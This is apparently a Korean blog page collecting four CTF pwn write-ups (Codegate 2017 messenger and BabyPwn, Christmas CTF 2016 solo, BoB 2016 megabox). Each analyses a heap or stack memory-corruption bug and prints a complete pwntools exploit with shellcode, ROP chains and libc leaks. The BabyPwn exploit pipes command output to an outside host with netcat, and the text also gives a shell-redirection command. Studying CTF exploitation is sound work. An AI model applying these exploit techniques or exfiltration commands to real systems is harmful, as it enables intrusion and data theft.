'memory leak'에 해당되는 글 4건
- 2017.02.18 [Codegate CTF_2017] messenger(pwn) 8
- 2017.02.18 [Codegate CTF_2017] BabyPwn(pwn)
- 2017.01.17 [Christmas CTF_2016] who is solo(pwn) 8
- 2017.01.10 [BoB CTF_2016] megabox(pwn) 2
## Codegate CTF_2017(messenger, pwn)
[Summary]
1. heap overflow 취약점(사이즈 체크를 하지 않아서)
2. unsafe unlink 취약점을 이용하여 공격(쉘코드 이용) & Memory Leak
[Analysis]
messenger 문제는 [그림 1]과 같이 64bit 바이너리로 보호기법으로는 Stack Canary가 걸려있고 NX는 걸려있지
않은 것을 확인할 수 있다. 실행시키면 마찬가지로 [그림 18]과 같이 5가지의 단순한 메뉴를 가지고 있는
프로그램이다. 1번 메뉴는 Leave message기능으로 사용자 입력을 받아 힙에 동적으로 할당하여 message를
남기는 기능을 수행한다. 2번 메뉴는 Remove message 기능으로 남긴 메시지를 지우는 기능을 수행한다.
3번 메뉴는 Change message 기능으로 남긴 메시지를 수정할 수 있는 기능을 제공한다. 4번 메뉴는 입력한
메시지를 확인하는 메뉴이다. 마지막으로 5번 메뉴는 exit 기능으로 단순히 프로그램을 종료하는 기능을
제공하는 메뉴이다.
전체 프로그램을 IDA를 통해 분석한 결과 이 프로그램의 몇 가지 특징을 간단히 정리해보면
1. Leave 메뉴로 남길 수 있는(동적할당으로 힙청크를 생성할 수 있는 횟수) 메시지는 2개로 제한되며,
2. uaf를 막기 위해 삭제된 청크를 보거나 할 경우 에러를 띄우며,
3. Change 메뉴를 이용할 때 size를 체크하지 않아 힙 오버플로우를 유발한다.
이제 이러한 특징들을 이용하여 이 프로그램의 취약점을 공략할 건데 위에서 정리한 프로그램의 특징 중 힙
오버플로우가 발생하는 코드는 아래 [그림 1]과 같다.
[그림 1] 힙 오버플로우 발생 코드
따라서 이 취약점을 확인하기 위해 IDA를 이용하여 동적 디버깅을 해볼건데 시나리오는 우선 1번 메뉴(Leave)를
이용하여 2개의 메시지를 남긴 후 3번 메뉴(Change)를 이용하여 사이즈 체크를 하지 않는 점을 이용하여 2번째
힙 청크를 덮어씌울 수 있는지 확인하는 것이다. 이 시나리오대로 실행하면 아래 [그림 2]와 같이 힙 오버플로우가
발생하여 다른 힙 청크를 덮어씌우는 것을 확인할 수 있다.
[그림 2] 힙 오버플로우 확인
이제 이를 어떻게 활용할 것인가에 대해 생각을 해보아야 하는데 처음에는 1번 leave메뉴를 2번 사용하여 힙 2개를
malloc으로 할당 받은 후 3번 Change메뉴를 이용하여 1번째 힙 청크에서 오버플로우를 시켜 2번째 힙 청크의 헤더를
바꾼다음 2번 remove메뉴를 이용하여 2번째 힙 청크를 free 시키고 마지막으로 1번 메뉴를 다시 이용하여 힙 청크를
새로 할당 받을 대 변조된 힙 청크의 헤더로 인해 got영역에 malloc 할당이 되어 원하는 값을 쓰려고 했다.
하지만 이 방법이 제대로 되지 않아 다른 방법을 찾기위해 malloc을 해주는 함수와 free를 해주는 함수를 분석
하다보니 free역할을 하는 함수 부분 중 다음 [그림 3]의 코드에서 free하는 현재 청크의 bk의 fd를 현재 청크의
fd로 바꾸는 unlink 하는 과정에서 취약점이 발생하여 임의의 주소에 현재 청크의 fd(다음 힙 청크(next chunk, fd))
의 주소를 쓸 수 있다는 것을 확인하였다.
[그림 3] free 내의 unlink 취약점
이러한 취약점을 바탕으로 페이로드를 구성하여 실행하면 아래 [그림 4, 5]와 같은 힙 상황과 실제 got영역에 있는
exit()함수의 got(0x602070)에 현재 힙 청크의 fd주소가 덮어씌어지는 것을 확인할 수 있으며 마지막으로 exit()
함수를 트리고하기 위해 마지막 Quit 메뉴를 이용하면 exit함수가 실행되면서 덮어씌어진 got로 넘어가게 되고
이는 힙 주소이다.
만약 이 부분에 쉘코드가 있다면 NX도 걸려있지 않기 때문에 실행가능하게 되므로 최종 페이로드 구성에서는
got를 덮은 이 후 그 주소(2번째 힙 청크 다음 3번째 힙 청크가 될 곳)에 2번 Change 메뉴를 통해 쉘코드를
집어넣은 후 Quit 메뉴를 실행하면 정상적으로 쉘코드가 실행될 것이다.
[그림 4] next chunk's bk 수정
[그림 5] exit()'s GOT overwrite
여기까지 잘 왔는데 마지막으로 3번째 문제가 생긴다. 위 [그림 3]에서 이전 청크의 fd에 현재 청크의 fd가 덮어
씌어지는데 마찬가지로 아래 [그림 6]의 코드에 의해 unlink동작에서는 현재 청크의 bk에 이전 청크의 bk가 덮어
씌어지는데 이 때문에 쉘코드가 중간에 끊기게 된다.
[그림 6] free 내의 unlink 쉘코드 문제점
이를 해결하기 위해서 생각해낸 방법은 2번째 힙 청크의 데이터 영역에 쉘코드를 집어넣고 got가 가리키는
곳에는 전체 쉘코드가 아니라 2번째 힙청크의 데이터 영역의 주소를 push; ret; 하는 쉘코드만 집어넣으면
쉘코드가 짤리지 않고 잘 동작하게 된다. 이를 하기 위해서는 2번째 힙 청크의 데이터 영역의 주소를 알아야
하는데 이는 힙 주소 릭을 이용해서 오프셋 계산을 해야 한다.
힙 주소를 릭하는 방법은 babypwn에서 주소 릭하는 방식과 비슷하게 먼저 Leave 메뉴를 이용해 힙 청크
하나를 생성하고 Change 메뉴를 이용하여 1번째 청크의 fd의 bk이전까지 A로 가득(64개) 채운 다음 View
메뉴를 이용하여 1번째 청크의 fd의 bk를 릭하고 주소 계산(+0x60)을 한다. 그리고 마지막으로 quit메뉴를
통해 트리거를 하면 아래 [그림 7]과 같이 쉘을 딸 수 있다.
[Exploit Code] - messenger_exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 | from pwn import * import hexdump context(arch='amd64',os='linux') #local=True local=False if local: p = process("./messenger_patched") else: p = remote("110.10.212.137", 3333) binary = ELF("./messenger") raw_input() ############## global variables ############### def select_menu(menu_str): p.recvuntil(">> ") p.send(menu_str) def leave_msg(size, msg): select_menu('L\n') p.recvuntil("size : ") p.send(str(size)+'\n') p.recvuntil("msg : ") p.send(msg) def remove_msg(index): select_menu('R\n') p.recvuntil("index : ") p.send(str(index)+'\n') def change_msg(index, size, msg): select_menu('C\n') p.recvuntil("index : ") p.send(str(index)+'\n') p.recvuntil("size : ") p.send(str(size)+'\n') p.recvuntil("msg : ") p.send(msg) def view_msg(index): select_menu('V\n') p.recvuntil("index : ") p.send(str(index)+'\n') def quit(): select_menu('\n') if __name__ == '__main__': heap_leak_payload = 'A'*64 leave_msg(32, 'AAAA') change_msg(0, 72, heap_leak_payload) view_msg(0); print p.recv(64); leak = p.recv(4); print leak; print 'len : '+str(len(leak)) heap_leak_addr = u32(leak) print '[+] heap leak addr : ' + hex(heap_leak_addr) payload1 = 'A'*48 + p64(0x3b8) + p64(0x0) + p64(0x602070-0x8) change_msg(0,72, payload1) leave_msg(32, 'AAAA') jmp_shellcode = asm("push "+hex(heap_leak_addr+0x60),arch='amd64',os='linux') jmp_shellcode += asm("ret",arch='amd64',os='linux') shellcode = '\x90'*20 + '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05' payload2 = shellcode + '\x90'*5 + jmp_shellcode change_msg(1, 100, payload2) remove_msg(1) quit() p.interactive() # ref1) https://www.exploit-db.com/exploits/36858/ | cs |
[Get Shell & Flag~~!!!!]
[그림 7] Get Shell & Get Flag("1_wan3_y0ur_m3ssenger$%")
끝~!
'CTF writeup' 카테고리의 다른 글
[Codegate CTF_2017] angrybird(reversing) (0) | 2017.02.19 |
---|---|
[Codegate CTF_2017] RamG-thunder(reversing) (2) | 2017.02.19 |
[Codegate CTF_2017] BabyPwn(pwn) (0) | 2017.02.18 |
[Codegate CTF_2017] BabyMISC(MISC) (0) | 2017.02.18 |
[Christmas CTF_2016] who is solo(pwn) (8) | 2017.01.17 |
## Codegate CTF_2017(BabyPwn, pwn)
[Summary]
1. Stack Overflow & Stack Canary => Canary Leak(memory leak) & ROP
2. 서버 쉘 획득 가능, 리다이렉션 필요 => nc 사용 또는 "/bin/sh -i <&4 >&4 2>&4"명령으로 클라이언트에서 쉘 획득
[Analysis]
BabyPwn 문제는 [그림 1]과 같이 32bit 바이너리로 보호기법은 Stack Canary와 NX가 걸려있는 것을 확인할
수 있다. 실행시키면 마찬가지로 [그림 1]과 같이 3가지의 단순한 메뉴를 가지고 있는 프로그램이다. 1번째 메뉴는
echo 기능을 하는데 입력 값을 받아 그대로 에코해주는 기능이며 2번째 메뉴는 reverse echo 기능 즉 입력받은 값을
거꾸로 출력해주는 기능이다. 마지막 3번째 메뉴는 Exit 메뉴로 프로그램을 종료하는 메뉴이다.
[그림 1] babypwn 문제 보호 기법과 실행 화면
이 프로그램에서 echo 기능을 가진 부분을 IDA를 통해 분석해보면 [그림 2]와 같이 간단한 스택 버퍼오버플로우 취약점이 있는
것을 확인할 수 있다. 따라서 이 취약점을 이용하여 Exploit을 할 것인데 첫 번째 문제가 발생한다. 버퍼오버플로우 취약점은
있으나 Stack Canary가 있기 때문에 이 Canary값을 릭하여 알아내야 한다.
[그림 2] 스택 버퍼오버플로우 취약점
위 [그림 2]와 같이 v2변수는 ebp기준 -0x34위치인데 sub_8048907에서 사용자로부터 입력을 받지만
2번째 인자(0x64)만큼 사용자 입력을 받기 때문에 ret를 덮어씌울 수 있다. 하지만 위에서 말했듯이 Stack Canary가
걸려 있기 때문에 이 Canary를 릭하여 문제를 풀어야 하는데 우선 Canary가 있는 위치는 아래 [그림 3]과 같이
ebp기준 -0xc에 위치하게 된다. 그리고 참고로 이 문제같은 경우 아래 [그림 3]에서 보듯이 문제 자체가 서버
프로그램이고 fork()함수를 이용하여 사용자 클라이언트를 처리하기 때문에 Canary의 값이 매번 같아 한번만 Canary를
릭하면 이후 계속 그 Canary를 사용할 수 있다.
[그림 3] Stack Canary 위치 & fork() 함수
이제 Stack Canary의 위치와 fork()의 특성상 Canary가 바뀌지 않는다는 것을 알았고, 이 Canary의 값을 릭하여야
하는데 릭은 스택 버퍼오버플로우 취약점이 존재하는 1번 echo 메뉴를 통해 할 수 있다. 1번 echo 메뉴는 [그림 4]와
같이 send()함수를 이용하여 사용자가 입력한 문자열을 클라이언트에 출력해주는데 Stack Canary 바로 직전까지
문자열을 입력하고 strlen() 함수로 문자열의 길이를 체크한 후 send()함수의 인자로 출력할 바이트를 넣게 되는데
strlen()함수는 문자열의 끝(0x00)이라고 인식되는 부분까지의 길이를 반환해주기 때문에 사용자가 Stack Canary의
바로 직전까지 입력을 하면 뒤에 이어오는 Canary값도 strlen()에 의해 포함되기 때문에 Canary의 값을 릭할 수 있게 된다.
[그림 4] echo 기능 디컴파일 소스
이러한 점을 모두두 종합하면 아래 [그림 5]와 같은 스택 상황을 만들어 Canary 릭을 할 수 있다.
[그림 5] 스택 상황 & 스택 Canary 릭(같은 Canary 확인)
여기 까지 완료하고 첫 번째 문제는 끝났다. 이제 단순 스택 버퍼오버플로우기 때문에 RET만 system함수로 바꿔주고
인자 값을 원하는 command로 넣어주기만 하면 exploit은 끝나게 된다. 이 문제에서 2번째 문제는 system("/bin/sh")를
이용하여 쉘을 따려고 하면 서버에서 따지기 때문에 의미가 없다. stdin과 stdout을 dup2()함수를 이용하여 연결해주면
리모트로 쉘을 딸 수는 있지만 해당 바이너리에 dup2()함수가 존재하지 않기 때문에 rop를 하려면
libc를 릭하여 찾아야 한다.
따라서 이 문제를 해결하기 위해서 "command | nc my-IP my-port"명령을 이용하여 미리 열어둔 tcp포트에
command의 결과를 전송하도록 exploit을 하였다. 이렇게 원하는 명령을 system()함수의 인자로 넣는 rop로 하여야
하는데 이 때 command가 바이너리에 그대로 박혀있는 것이 아니기 때문에 주소 값을 모른다. 따라서 recv()함수로
rop를 하여 아래 [그림 6]과 같이 data영역(0x804b080)에 원하는 command를 쓰고 system()함수의 인자 값으로
넣는 방법을 사용하였다.
[그림 6] 최종 페이로드 & system("cat flag | nc x.x.x.x 4444")
이제 다 끝났고 해당 페이로드대로 코드를 구성하여 exploit코드를 짜면 아래 [그림 7]과 같이 exploit 코드가 정상
동작하여 미리 nc로 열어둔 포트로 명령어의 결과가 전송되어 플래그를 확인할 수 있다. 추가적으로 이렇게 nc를
이용하는 방법외에 "/bin/sh -i <&4 >&4 2>&4"명령을 이용하여 파일 디스크립터의 리다이렉션을 잘 활용하여
쉘을 딸 수도 있다.
[Exploit Code] - babypwn_exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 | from pwn import * import hexdump context(arch='i386',os='linux') #local=True local=False if local: p = remote("127.0.0.1", 8888) else: p = remote("110.10.212.130", 8888) #binary = ELF("./babypwn_patched") raw_input() ############## Canary & Gadget ############### #stack_canary = 0xd989c800 #local stack_canary = 0x338d2200 #remote #ebp_leak = 0xffe83f88 #local ebp_leak = 0xffe77fc8 #remote system_plt = 0x8048620 send_plt = 0x8048700 recv_plt = 0x80486e0 fd = 0x4 pop4_ret = 0x8048eec ################################################ def select_menu(menu_num): print p.recvuntil("Select menu > ") p.send(menu_num) def echo(msg): select_menu('1\n') print p.recvuntil("Input Your Message : ") p.send(msg) def reverse_echo(msg): select_menu('2\n') print p.recvuntil("Input Your Message : ") p.send(msg) def exit(): select_menu('3\n') if __name__ == '__main__': ############## stage1 payload ############# # memory leaking(Stack Canary & EBP) # ########################################### ''' canary_leak_payload = "A"*40 echo(canary_leak_payload+'\n'); print p.recv(40) print "[+] stack canary leak : " + hex(u32(p.recv(4))) exit(); p.interactive() ebp_leak_payload = "A"*52 echo(ebp_leak_payload); print p.recv(52) print "[+] Stack EBP leak : " + hex(u32(p.recv(4))) exit(); p.interactive() # Arbitrary Memory Leak for "/bin/sh"'s addr arbitrary_leak_payload = "/bin/sh\x00" + "A"*32 + p32(stack_canary) + "A"*12 arbitrary_leak_payload += p32(send_plt) + "AAAA" + p32(fd) + p32(ebp_leak-0x174) + p32(0x64) + p32(0x0) echo(arbitrary_leak_payload); exit() hexdump.hexdump(p.recv(1024)) ''' ########## stage2 payload ########## # Make system("Command"); # # EXPLOIT SUCCESS # #################################### #binsh_addr = ebp_leak-0x174 print "[+] Stack canary leak : " + hex(stack_canary) #print "[+] Stack EBP leak : " + hex(ebp_leak) #print "[+] Stack '/bin/sh' addr : " + hex(binsh_addr) # Write command(system()'s arg) to .data area final_payload = "/bin/sh\x00" + "A"*32 + p32(stack_canary) + "A"*12 final_payload += p32(recv_plt) + p32(pop4_ret) + p32(fd) + p32(0x804b080) + p32(0x100) + p32(0x0) final_payload += p32(system_plt) + p32(int3) + p32(0x804b080) #final_payload += p32(send_plt) + "AAAA" + p32(fd) + p32(0x804b080) + p32(0x100) + p32(0x0) print '[+] len : ' + str(hex(len(final_payload))) echo(final_payload); exit() #p.send('id | nc 52.39.163.139 6978\x00') #p.send('ls -al | nc 52.39.163.139 6978\x00') p.send('cat flag | nc 52.39.163.139 6978\x00') p.interactive() | cs |
[Get Shell & Flag~~!!!!]
[그림 7] 명령어 결과 확인 & Flag("Good_Job~!Y0u_@re_Very__G@@d!!!!!!^.^")
끝~!
'CTF writeup' 카테고리의 다른 글
[Codegate CTF_2017] RamG-thunder(reversing) (2) | 2017.02.19 |
---|---|
[Codegate CTF_2017] messenger(pwn) (8) | 2017.02.18 |
[Codegate CTF_2017] BabyMISC(MISC) (0) | 2017.02.18 |
[Christmas CTF_2016] who is solo(pwn) (8) | 2017.01.17 |
[BoB CTF_2016] megabox(pwn) (2) | 2017.01.10 |
## Christmas CTF_2016
(whoissolo,100pts,pwn)
[Summary]
1. 2가지 시나리오로 풀이가 가능함(fastbin attack, unsorted bin attack)
2. heap 취약점(fastbin overwrite)을 이용해 특정 주소에 read/write 가능 -> 원하는 메뉴(stack overflow 유발) 활성화
3. 눈에 보이는 stack overflow 취약점을 이용해 memory leak
4. libc base를 leak -> rop(oneshot 가젯 막기 위해 patched libc 사용) -> execl()/system() rop 사용
[Analysis]
- (https://drive.google.com/open?id=0B12bAVEUfDg7Q3JYdmxkRnRMSms) - (solo binary)
- (https://drive.google.com/open?id=0B12bAVEUfDg7a0ZTMDhORzVzVXc) - (patched_libc binary)
우선 이 문제는 대회 때는 풀지 못한 문제이고 출제자(s0nsari)의 말을 들어보니 원래 의도한 unsorted bin attack으로
풀지 않고 fastbin attack으로 푼 사람이 대부분이라고 했다.
이 Write-up에서도 아직 unsorted bin attack에 대해 잘 모르고 익숙하지 않아 fastbin attack으로 exploit한 것에 대해
설명할 것이다.
이 문제를 실행하면 아래 [그림 1]과 같은 메뉴 선택 창이 나타난다.
[그림 1] solo 실행
총 5개의 메뉴가 있는데 1번은 말그대로 malloc()을 이용해서 힙영역에 할당하는 메뉴, 2번도 말그대로 free()함수를
이용해 할당한 heap 을 free해주는 메뉴, 3번 list는 미구현, 4번 login은 나중에 분석하겠지만 특정 변수의 값을 체크하여
password를 묻는 기능을 가지고 있으며 간단한 bof 취약점이 존재하는 메뉴이고 5번은 프로그램 종료를 하는 메뉴이다.
이 바이너리를 IDA를 통해 확인해보면 main()함수는 아래 [그림 2]와 같다.
[그림 2] main()함수 분석
[그림 2]의 주석에도 달아놓았듯이 위 소스코드에 line number 40~46의 네번째 로그인 메뉴에서
아주 간단한 BOF 취약점이 있고 이를 트리거하기 위해서는 qword_602080 변수의 값이 0이 아니어야 하는데
여기에 값을 넣기 위해서는 malloc으로 할당한 후 free를 하고 숨겨진 메뉴(201527)을 통해 free chunk의 fd값을
overwrite 해야한다.
따라서 fd를 0x602080이 있는 영역으로 수정하고 malloc을 두 번 해주면 2번째 malloc에서 fd의 값을 참조하여 힙을
할당하는데 그렇게 되면 0x602080주소에 값을 집어넣을 수 있게 된다.
여기서 주의할 점이 하나 있는데 malloc할 때의 size가 중요하다. 처음 내가 문제를 풀때에는 Input Size를 5로 주었다.
(그림 3)(실제로 16바이트가 할당됨(allign)) 그렇게 한 후 fd값을 변조하고 malloc을 2번 했더니 다음
[그림 4]과 같은 에러가 뜨면서 제대로 할당이 되지 않았다.(fd값은 할당받을 곳의 주소를 준다. -> 0x602080에
값을 써야하므로 header를 생각해서 0x602080-0x10값으로 변조를 해주었다.)
[그림 3] malloc() 한 후의 상황
[그림 4] malloc 할당 실패
[그림 4]와 같이 malloc() 할당이 되지 않는 이유는 size를 제대로 안 맞춰 주었기 때문인데 5바이트만큼 할당
받겠다고 하면 malloc()함수가 할당해주는 바이트는 처음엔 32bit시스템에서는 16바이트 단위 그 뒤부터는 8바이트
단위로 할당하고, 64bit시스템에서는 32바이트 단위 그 뒤부터는 16바이트 단위로 할당해준다. 그래서 [그림 3] 또는
[그림 4]의 size부분에 0x21(prev_inuse bit 포함)이 들어 있는 것이다.
그런데 할당 받으려고 했던 0x602070부분을 확인해보면 [그림 5]와 같이 size부분이 0인 것을 확인할 수 있고
실제 malloc 구현부를 보면 이 size값을 체크하여 위 [그림 4]와 같은 에러를 뱉어내는 것을 확인할 수 있고 우리는
이 size값도 맞춰줄 필요가 있다.
[그림 5] 0x602070 size 부분
따라서 fd를 overwrite할 때 0x60206d부분으로 덮어씌워 주면 size부분이 아래 [그림 6]과 같이 0x7f가 되고
우리는 size가 0x71(prev_inuse bit 포함)가 되도록만 맞춰주면 된다. 따라서 size가 0x71이 되도록 하는 바이트
범위는 0x59(89) ~ 0x68(104)이면 되므로 이렇게 바이트만 맞춰서 할당해주면 아무 문제 없이 malloc 할당이 이루어진다.
[그림 6] 0x60206d size 부분
따라서 이렇게 할당이 이루어지고 난 후에는 modify 메뉴를 통해서 0x60207d 부분부터 값을 채워 0x602080에
0이 아닌 값을 집어넣고 login메뉴를 활성화 시킨 후 일반적인 BOF문제를 풀듯이 puts_plt로 메모리 릭을 한 후
libc base addr을 구하고 execl() rop 페이로드를 작성한 후 exploit을 하면 된다. 자세한 사항은 아래 exploit code를
보면 된다.
이 방법은 fastbin 으로 푼 방식이고 실제로 unsorted 방식으로 푸는게 출제자의 의도라고 했는데 이 방법은 차후
공부를 좀 더 하고 업데이트를 할 계획이다.
[Exploit Code] - solo_exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 | from pwn import * context(arch='i686',os='linux') local=True #local=False if local: p = process("./solo") else: p = remote("52.175.144.148", 9901) binary = ELF("./solo") puts_plt_addr = 0x400600 poprax_offset = 0x1b290 pop_rsi_r15_addr = 0x400d11 poprdi_addr = 0x400d13 start_addr = 0x4007b5 main_addr = 0x400680 puts_got_addr = 0x602020 read_got_addr = 0x602028 puts_offset = 0x6fd60 binsh_offset = 0x17c8c3 system_offset = 0x46590 execl_offset = 0xc14a0 binsh_addr = '' system_addr = '' execl_addr = '' poprax_addr = '' raw_input() def print_menu(p): print p.recvuntil('$ ') def select_malloc(p, chunk_num, size, data): print_menu(p) p.send("1\n") print p.recvuntil("Allocate Chunk Number: ") p.send(chunk_num+'\n') print p.recvuntil("Input Size: ") p.send(size+'\n') print p.recvuntil("Input Data: ") p.send(data+'\n') def select_free(p, chunk_num): print_menu(p) p.send("2\n") print p.recvuntil("Free Chunk number: ") p.send(chunk_num+'\n') print p.recvline() def select_modify(p, data): print_menu(p) p.send("201527\n") print p.recvuntil("Modify Data: ") p.send(data+'\n') def select_login(p, passwd, stage_level=0): global binsh_addr, system_addr, execl_addr, poprax_addr if stage_level != 3: print_menu(p) p.send("4\n") print p.recv(1024) p.send(passwd+'\n') def select_exit(p): print_menu(p) p.send("5\n") ################# Init ################## # Prepare Triggering Bug # ######################################### select_malloc(p, str(1), str(96), "A") select_free(p, str(1)) ################### stage 1 #################### # overwrite fd -> malloc()*2 arbitary alloc # ################################################ stage1_payload = p64(0x60206d) select_modify(p, stage1_payload) # overwrite fd select_malloc(p, str(1), str(96), "B") select_malloc(p, str(1), str(96), "AAAA") # allocate to 0x60207d ################## stage 2 ##################### # Memory Leaking(for libc base addr) # ################################################ stage2_payload = "X"*0x408 stage2_payload += p64(poprdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) #stage2_payload += p64(poprdi_addr) + p64(read_got_addr) + p64(puts_plt_addr) stage2_payload += p64(start_addr) stage2_payload += p64(main_addr) select_login(p, stage2_payload) select_exit(p) leak_data = p.recv(1024); print leak_data puts_leak_addr = (u64(leak_data[:8])) & 0x0000ffffffffffff libc_base_addr = puts_leak_addr - puts_offset binsh_addr = libc_base_addr + binsh_offset system_addr = libc_base_addr + system_offset execl_addr = libc_base_addr + execl_offset poprax_addr = libc_base_addr + poprax_offset print "[+] puts leak addr : " + hex(puts_leak_addr) print "[+] libc's base addr : " + hex(libc_base_addr) print "[+] /bin/sh addr : " + hex(binsh_addr) print "[+] system() addr : " + hex(system_addr) print "[+] execl() addr : " + hex(execl_addr) print "[+] pop rax gadget addr : " + hex(poprax_addr) #print p.recv(1024) ################## stage 3 ##################### # Exploit : system("/bin/sh") # ################################################ stage3_payload = "X"*0x408 ##### system() rop ##### => Failed....!!!!!!! #stage3_payload += p64(poprdi_addr) + p64(binsh_addr) #stage3_payload += p64(poprax_addr) + p64(0) + p64(system_addr) ##### execl() rop ##### stage3_payload += p64(poprdi_addr) + p64(binsh_addr) stage3_payload += p64(pop_rsi_r15_addr) + p64(0) + p64(0) stage3_payload += p64(execl_addr) select_login(p, stage3_payload, 3) select_exit(p) p.interactive() | cs |
[Get Shell~~!!!!] - local
[그림 7] - Get Shell~!
끝~!
'CTF writeup' 카테고리의 다른 글
[Codegate CTF_2017] BabyPwn(pwn) (0) | 2017.02.18 |
---|---|
[Codegate CTF_2017] BabyMISC(MISC) (0) | 2017.02.18 |
[BoB CTF_2016] megabox(pwn) (2) | 2017.01.10 |
[Christmas CTF_2016] StupidRSA(misc) (0) | 2016.12.26 |
[Christmas CTF_2016] NMS(misc) (0) | 2016.12.26 |
## BoB CTF_2016(megabox,pwn)
[Summary]
1. memory leak이 간단하고 canary와 libc's base addr을 Leak해야함.
2. clone()함수로 sandbox를 걸어놓음. -> sandbox escape(?)를 해야함.
3. FULL RELRO가 걸려있어 got overwrite가 불가능
4. libc의 got overwrite는 가능한데 free함수를 사용할 경우 free_hook의 got를 realloc함수를 사용할 경우
realloc_hook의 got를 overwrite해야함.
[Analysis]
- (https://drive.google.com/open?id=0B12bAVEUfDg7bjhNU1J2ZTZOOHc) - (megabox binary)
- (https://drive.google.com/open?id=0B12bAVEUfDg7NExKLTdRaWNfTHM) - (libc binary)
[그림 1] - main()함수 hex-ray
IDA를 이용하여 [그림 1]과 같이 바이너리를 뜯어보면 clone()함수로 fn이라는 함수를 sandbox에 넣어 동작시키는 것을 알 수 있다.
처음에는 이게 sandbox인 것조차 알지 못하고 대회때는 풀지 못했다.
mmap()으로 0x41410000영역에 커스텀 스택의 ret를 간단하게 rop를 하여 one-shot가젯을 쓸 수 있을 거라 생각했는데
그게 아니었다. sandbox에 막혔다.
그리고 보호기법은 Full RELRO였기 때문에 got overwrite가 불가능 했고, 따라서 libc의 got를 덮어쓸 수 있었다.
아래 [그림 2]와 같이 조금 자세히 fn을 보면 1번 메뉴를 통해 커스텀 스택에 bof가 터지는게 너무 눈에 띄게 취약점이 보였고,
2번 메뉴를 통해 Memory Leak을 할 수 있었는데 canary와 ret에 저장되어있는 clone+109의 주소를 릭해서 libc의 base addr를
구할 수 있었고, 이를 통해 libc의 free_hook의 got를 oneshot가젯의 주소로 덮어씌워서 exploit이 가능했다.
[그림 2] - fn()함수
[Exploit Code] - megabox_exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 | from pwn import * import hexdump import struct context(arch='i686', os='linux') #local=False local=True if local: p = process("./megabox_patch") else: p = remote("52.34.185.58", 10001) binary = ELF("./megabox") raw_input() payload = "A"*136 oneshot_offset = 0x4647C #libc_free_got_offset = 0x3BDF98 #libc_free_got_offset = 0x3BE060 libc_free_hook_got_offset = 0x3C0A10 #wjret = 0x4141414141414141 gets_plt = 0x4009C0 poprdi_offset = 0x22b9a #read_plt = 0x400980 #printf_plt = 0x400960 canary_leak = ''; oneshot_addr = ''; poprdi_addr = ''; libc_free_hook_got_addr = ''; clone_109 = '' def write_feedback(feedback): p.recv(1024); p.send('1\n'); sleep(0.5) p.recv(1024) p.send(feedback+'\n'); sleep(0.5) def read_feedback(debug_level=0): global canary_leak,oneshot_addr,poprdi_addr,libc_free_hook_got_addr,clone_109 p.recvuntil('menu>>> '); p.send('2\n'); sleep(0.5) p.recvuntil('oops!!\n') stack_leak = p.recv(1024) canary_leak = stack_leak[136:144] clone_109 = stack_leak[152:160] canary_leak = u64(canary_leak) clone_109 = u64(clone_109) libc_base_addr = clone_109-0xfa37d libc_free_hook_got_addr = libc_base_addr + libc_free_hook_got_offset oneshot_addr = libc_base_addr + oneshot_offset poprdi_addr = libc_base_addr + poprdi_offset #canary_leak = struct.unpack("L", canary_leak) #clone_109_leak = struct.unpack("L", clone_109) if debug_level == 1: hexdump.hexdump(stack_leak[:176]) print "[+] canary's addr : " + hex(canary_leak) print "[+] clone+109's addr : " + hex(clone_109) print "[+] gets's plt addr : " + hex(gets_plt) print "[+] libc_base's addr : " + hex(libc_base_addr) print "[+] libc's free_hook got addr : " + hex(libc_free_hook_got_addr) print "[+] oneshot's addr : " + hex(oneshot_addr) print "[+] poprdi's addr : " + hex(poprdi_addr) #################### Init ###################### p.recvuntil('your name... ') p.send('wjdebug\n'); sleep(0.5) #################### stage 1 ################## # Memory Leak Vuln # ############################################### write_feedback(payload) read_feedback(1) #################### stage 2 ################## # overwrite libc's free_got to oneshot gadget # ############################################### #stage2_payload = payload+p64(canary_leak)+p64(0)+p64(poprdi_addr)+p64(libc_free_got_addr)+p64(oneshot_addr) stage2_payload = payload stage2_payload += p64(canary_leak) stage2_payload += p64(0) stage2_payload += p64(poprdi_addr) stage2_payload += p64(libc_free_hook_got_addr) stage2_payload += p64(gets_plt) stage2_payload += p64(clone_109) write_feedback(stage2_payload) ################### stage 3 ################### # Exploit ~~~~~~~~~~!!! # ############################################### p.recv(4096); p.send('3\n'); sleep(0.5) # vuln trigger p.send(p64(oneshot_addr)+'\n') # input gets's arg p.interactive() | cs |
[Get Shell~~!!!!]
[그림 3] 쉘 획득~!
끝~!
ps) Thanks to s0ngsari(s0ngsari.tistory.com)
'CTF writeup' 카테고리의 다른 글
[Codegate CTF_2017] BabyMISC(MISC) (0) | 2017.02.18 |
---|---|
[Christmas CTF_2016] who is solo(pwn) (8) | 2017.01.17 |
[Christmas CTF_2016] StupidRSA(misc) (0) | 2016.12.26 |
[Christmas CTF_2016] NMS(misc) (0) | 2016.12.26 |
